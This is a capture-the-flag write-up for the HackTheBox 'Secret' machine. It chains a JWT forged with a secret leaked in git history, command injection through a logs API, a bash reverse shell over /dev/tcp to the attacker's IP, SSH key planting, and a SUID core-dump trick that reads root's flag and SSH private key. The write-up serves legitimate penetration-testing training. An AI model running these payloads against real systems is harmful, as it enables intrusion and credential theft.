HackTheBox >> Secret

Table of Contents

ENUM >> NMAP

# Nmap 7.92 scan initiated Sun Feb 13 20:05:14 2022 as: nmap -sS -v -sC -sV -oN nmap_initial 10.10.11.120
Nmap scan report for 10.10.11.120
Host is up (0.036s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 13 20:05:31 2022 -- 1 IP address (1 host up) scanned in 17.61 seconds

ENUM >> The website

We are presented with a website titled "DUMBDocs" – a web application to run a documentation system. It offers you some documentation on how to operate the API (more on this later), a Live Demo that leads to a JSON reply with a 404 message, and there is also a link to download the source code.

Anyway – as the NMAP scan above shows, we have port 80 and 3000 open – both lead to the same website… so it looks like we are meant to exploit the API.

ENUM >> The DUMBDocs API

Above all, this is a rather basic site, and honestly doesn’t really do much for software documents as far as I can tell… however, we have enough information from the documentation on the website, and the code to quickly notice that it uses JSON Web Tokens to track authentication. There is a few other things we discover in the code though…

The source code

Before we start, a few things to mention from the source code download:

  • The only check to see if the user is an admin is if their username IS theadmin:
if (name == 'theadmin'){
  • The "secret" encryption key is read from the shell environment TOKEN_SECRET when creating the JWT:
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
  • The two following lines in index.js point to reading a file named .env to import shell environment settings:
const dotenv = require('dotenv')

...

dotenv.config();
  • The contents of .env are:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
  • This code seems to be our way in once we gain access to theadmin:
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;

    if (name == 'theadmin'){
        const getLogs = <code>git log --oneline ${file};
        exec(getLogs, (err , output) =>{

...
  • To break down the /logs endpoint code above:
    • In the first line, veryifytoken, ensures that the token is verified.
    • const file = req.query.file; reads data from a web query named file
    • The next two lines set the value of name to the username stored in the token
    • if (name == 'theadmin'){ is pretty straight-forward…
    • const getLogs = 'git log --oneline ${file}'; sets the getLogs string to git log --oneline ${file} – it reads from the web query file and places the supplied data in place of ${file}.
    • exec(getLogs, (err , output) =>{ simply executes a command with the contents of getLogs we set in the previous line.

Being that it is executing a command and allowing us to append to the end of that said command, we can use this to leverage command execution!

Creating our user and grabbing our JWT
  • OK, according to the documentation, if we POST to /api/user/register with JSON data (supplied with the -d switch), and supply a username, email and password we can create an account:
❯ curl -i -X POST -H 'Content-Type: application/json' -d '{"name":"stimpz0r", "email":"stimpz@dasith.works", "password":"pwn3dj00"}' http://10.10.11.120/api/user/register
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:05:58 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 19
Connection: keep-alive
X-Powered-By: Express
ETag: W/"13-bO7tQ09J+t6w9Ulq/fkrZRDmPcg"

{"user":"stimpz0r"}
  • Now that we have created the account, we need to login to get our JWT – if we POST again to /api/user/login with our email and password, we should get our JWT returned:
❯ curl -i -X POST -H 'Content-Type: application/json' -d '{"email":"stimpz@dasith.works", "password":"pwn3dj00"}' http://10.10.11.120/api/user/login
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:06:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 213
Connection: keep-alive
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBhMGQ2NjkyODg5NTA0NWM4ZDFiZTAiLCJuYW1lIjoic3RpbXB6MHIiLCJlbWFpbCI6InN0aW1wekBkYXNpdGgud29ya3MiLCJpYXQiOjE2NDQ4MjU5ODB9.TbGqPThhTVd8FIMaNZPgSer_8w3ENsk6xCRiS8Hq9dA
ETag: W/"d5-hUWHtolgmu8M3s9vD28twdrljI8"

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBhMGQ2NjkyODg5NTA0NWM4ZDFiZTAiLCJuYW1lIjoic3RpbXB6MHIiLCJlbWFpbCI6InN0aW1wekBkYXNpdGgud29ya3MiLCJpYXQiOjE2NDQ4MjU5ODB9.TbGqPThhTVd8FIMaNZPgSer_8w3ENsk6xCRiS8Hq9dA
  • There is our JWT, but we need to modify it to get the access we need..
Crafting the JWT payload

A wonderful place to work on JWT is jwt.io – this site will help you craft the modified payload to get us to trick the site into believing we are the admin user.

  • If we drop in our JWT payload as is, it tells us that it has an "Invalid Signature":

  • However, if we enter secret (which we found in .env as TOKEN_SECRET) in as our secret key, we get a "Verified Signature"

  • So, now if we just change the username to theadmin we would be impersonating theadmin wouldn’t we?

  • That should do it…
❯ curl -i -X GET -H 'Content-Type: application/json' -H 'auth=token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBhMGQ2NjkyODg5NTA0NWM4ZDFiZTAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InN0aW1wekBkYXNpdGgud29ya3MiLCJpYXQiOjE2NDQ4MjU5ODB9.LDdVGorWg8Tswemx4sOyeX-9svSuCJx6t-7oYvU95zA' http://10.10.11.120/api/priv
HTTP/1.1 401 Unauthorized
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:12:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
X-Powered-By: Express
ETag: W/"d-Fke522wB/f0WEQT+w6CDKWhElh4"

Access Denied

OOF!

Git enumeration
  • OK so we must be missing something, another interesting find in the code was the presence of a .git directory – meaning this is a git repo! Lets check the commit history:
❯ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads
  • "removed .env for security reasons" sounds interesting… lets check out the changes:
❯ git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = <REDACTED>
+TOKEN_SECRET = secret
  • Dropping the new secret into jwt.io, we get a modified payload… which according to the website is "Signature Verified":

  • Fingers crossed this one will work!
❯ curl -i -X GET -H 'Content-Type: application/json' -H 'auth-token: <REDACTED>' http://10.10.11.120/api/priv                                                                                    
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:13:00 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 76
Connection: keep-alive
X-Powered-By: Express
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Exploting the API

Remeber in the source code we found that /logs endpoint? As mentioned it seems to point to reading off a query set as file – it then appends

  • First, lets test that we can get some form of output back:
❯ curl -i -H 'auth-token: <REDACTED>' 'http://10.10.11.120/api/logs?file=index.js;whoami'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:24:10 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 82
Connection: keep-alive
X-Powered-By: Express
ETag: W/"52-fs+fG6nDd2rq4iN6hnG5IXBv4mM"

"ab3e953 Added the codes\ndasith\n"
  • Nice! Let’s clean it up a bit with a sed command to replace \n with an actual linefeed:
❯ curl -i -H 'auth-token: <REDACTED>' 'http://10.10.11.120/api/logs?file=index.js;id' | sed 's/\\n/\n/g'                                               HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:24:10 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 82
Connection: keep-alive
X-Powered-By: Express
ETag: W/"52-fs+fG6nDd2rq4iN6hnG5IXBv4mM"

"ab3e953 Added the codes
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
"
  • Perfect… but lets take it a step further and see if we can url encode a simple bash reverse shell and get a connect back… (encoded section = bash -c 'bash -i &>/dev/tcp/10.10.14.24/1337 <&1'):
❯ curl -i -H 'auth-token: <REDACTED>' 'http://10.10.11.120/api/logs?file=index.js;bash%20%2Dc%20%27bash%20%2Di%20%26%3E%2Fdev%2Ftcp%2F10%2E10%2E14%2E24%2F1337%20%3C%261%27' | sed 's/\\n/\n/g'  
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 14 Feb 2022 08:28:03 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 124
Connection: keep-alive
X-Powered-By: Express
ETag: W/"7c-usnH4YAQmQFxHHteLB9Z4257MXY"

{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline index.js;bash -c 'bash -i &>/dev/tcp/10.10.14.24/1337 <&1'"}
  • Meanwhile, on our listener:
❯ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.120] 37616
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$

NOTE: you may have thought the final payload had actually failed judging by the output… the response only showed up a minute or so later and the shell was still fine after the fact.

Upgrading to SSH access
  • Let’s upgrade this shell to something a lot more stabler and secure… SSH! First we generate a new private key on our attack box:
❯ ssh-keygen -f dasith
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in dasith
Your public key has been saved in dasith.pub
The key fingerprint is:
SHA256:qUlsCBl7in6Agfj/xAtwE89vWKyV8NzpLc+Fh2W8IME stimpz@kriticalSEC
The key's randomart image is:
+---[RSA 3072]----+
|  .              |
|o  +     .       |
|+ + o .   E      |
|.+ + * = + o .   |
|o.+ + * S + . +  |
|. .+ = O . o * . |
| . .o B o o + +  |
|  .  + o   + o   |
|      o     o    |
+----[SHA256]-----+

❯ cat dasith.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF3mjtAGOjT3yZAf+fkH5oO8827fvosAtNL9iWOXR54Ev5Fo1BAMT1BqCfj7cjYqJ6f4b5vxn30eZ/8fds1jK8XqRxzhQlLgxUy2I5shGRrWh8rDkVJ7i5RFyZuAqMzeJ9GIPsycFyDd+xZVwMRaTyVmKYryUQce29WF2le1HRG7k1hHDOFubFd4u9JOR5h5JF1TvKXZ29jhLjsgp+n2+MTM0SBxhHSORf2K07TNS5eRP4lQXHBV5E0TVKklhm61d7UJfWcdvB+zIbQ4Dk6ww7o8f9O6pI/B+5PC097E1IFfOq3EOPXhz2n6w3y1vJMt425nmvJAhTdmzJejyn7UmRKt3ERUBemhda8lhMBWc9KEqn1wZWAQHVifOZcOfUxgopHV9zAYko946o24TeSzIDP91ba2EHMiwYDqz4xLFdeTdCy9AP/QEOeZqirWvKXqOdVT/N1GjQIXBekZJQG4FBsO8+0BaAmRD5Qal92akWgGhTyv9aJISQG7mE6DRB6/k= stimpz@kriticalSEC
  • Then on the target we dump the public key into authorized_keys and chmod 600 the file for the correct permissions:
dasith@secret:~$ mkdir .ssh
mkdir .ssh
dasith@secret:~$ cd .ssh
cd .ssh
dasith@secret:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF3mjtAGOjT3yZAf+fkH5oO8827fvosAtNL9iWOXR54Ev5Fo1BAMT1BqCfj7cjYqJ6f4b5vxn30eZ/8fds1jK8XqRxzhQlLgxUy2I5shGRrWh8rDkVJ7i5RFyZuAqMzeJ9GIPsycFyDd+xZVwMRaTyVmKYryUQce29WF2le1HRG7k1hHDOFubFd4u9JOR5h5JF1TvKXZ29jhLjsgp+n2+MTM0SBxhHSORf2K07TNS5eRP4lQXHBV5E0TVKklhm61d7UJfWcdvB+zIbQ4Dk6ww7o8f9O6pI/B+5PC097E1IFfOq3EOPXhz2n6w3y1vJMt425nmvJAhTdmzJejyn7UmRKt3ERUBemhda8lhMBWc9KEqn1wZWAQHVifOZcOfUxgopHV9zAYko946o24TeSzIDP91ba2EHMiwYDqz4xLFdeTdCy9AP/QEOeZqirWvKXqOdVT/N1GjQIXBekZJQG4FBsO8+0BaAmRD5Qal92akWgGhTyv9aJISQG7mE6DRB6/k= stimpz@kriticalSEC" > authorized_keys
<QG7mE6DRB6/k= stimpz@kriticalSEC" > authorized_keys
dasith@secret:~/.ssh$ chmod 600 authorized_keys
  • Finally, we chmod 600 the private key and attempt to connect:
❯ chmod 600 dasith

❯ ssh -i dasith dasith@10.10.11.120
The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.120' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 14 Feb 2022 08:29:53 AM UTC

  System load:           0.98
  Usage of /:            53.2% of 8.79GB
  Memory usage:          11%
  Swap usage:            0%
  Processes:             209
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.120
  IPv6 address for eth0: dead:beef::250:56ff:feb9:bece

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Sep  8 20:10:26 2021 from 10.10.1.168
dasith@secret:~$

PRIVESC >> custom SUID binary ‘count’

  • In /opt we have a custom binary named count that has SUID privileges!:
dasith@secret:~$ cd /opt
dasith@secret:/opt$ ls
code.c  count  valgrind.log
dasith@secret:/opt$ ls -al
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 .
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ..
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log
dasith@secret:/opt$ ./count
Enter source file/directory name: code.c

Total characters = 3736
Total words      = 1271
Total lines      = 145
Save results a file? [y/N]: n
  • Looking at the code.c file (the source code for count) – it simply counts directory and files if supplied a directory, and will count the amount of characters and words if given a file. When getting the file statistics it loads the complete file into memory, but will drop it’s SUID privileges after that… but it doesn’t empty the memory before it does that. If we can get it to crash, and dump the memory, we can exploit this app to read any file we want as root!
The exploit
  • First we call ./count and give it /root/root.txt, when it asks if we want to save the results we drop it into the background:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
  • Next we run ps to find the process and use kill -BUS <count_pid> to cause the core dump:
dasith@secret:/opt$ ps
    PID TTY          TIME CMD
   1827 pts/0    00:00:00 bash
   1870 pts/0    00:00:00 count
   1871 pts/0    00:00:00 ps
dasith@secret:/opt$ kill -BUS 1870
dasith@secret:/opt$ fg
./count
Bus error (core dumped)
  • Because this box has debugging enabled (the presence of valgrind.log proves this) we can dump the core from the saved crash details in /var/crash:
dasith@secret:/opt$ cd /var/crash/
dasith@secret:/var/crash$ ls
_opt_count.1000.crash
  • We use the tool apport-unpack to dump the output into more readable files:
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash  /tmp/crash.out
  • Finally, if we use strings against the CoreDump we can find the output:
dasith@secret:/var/crash$ strings /tmp/crash.out/CoreDump

...

Save results a file? [y/N]: words      = 2
Total lines      = 2
/root/root.txt
<REDACTED>
aliases
ethers
group
gshadow

...

BONUS >> getting root…

Since this box doesn’t require you actually accessing root login (since we can simply just grab the flag)… lets show the steps on how to gain root access for those that can’t go without that # prompt.

  • If we put the path as /root/.ssh/id_rsa we notice that the file exists as it returns statistics on the file:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]:
  • Let’s exploit this again and get another memory dump:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[2]+  Stopped                 ./count
dasith@secret:/opt$ ps
    PID TTY          TIME CMD
   1827 pts/0    00:00:00 bash
   1979 pts/0    00:00:00 count
   1980 pts/0    00:00:00 ps
dasith@secret:/opt$ kill -BUS 1979
[1]-  Killed                  ./count
dasith@secret:/opt$ fg
./count
Bus error (core dumped)
dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/root.out
dasith@secret:/opt$ strings /tmp/root.out/CoreDump
  • Around the same place we found our flag, you will find the contents of roots ssh key:


Leave a Reply

Your email address will not be published. Required fields are marked *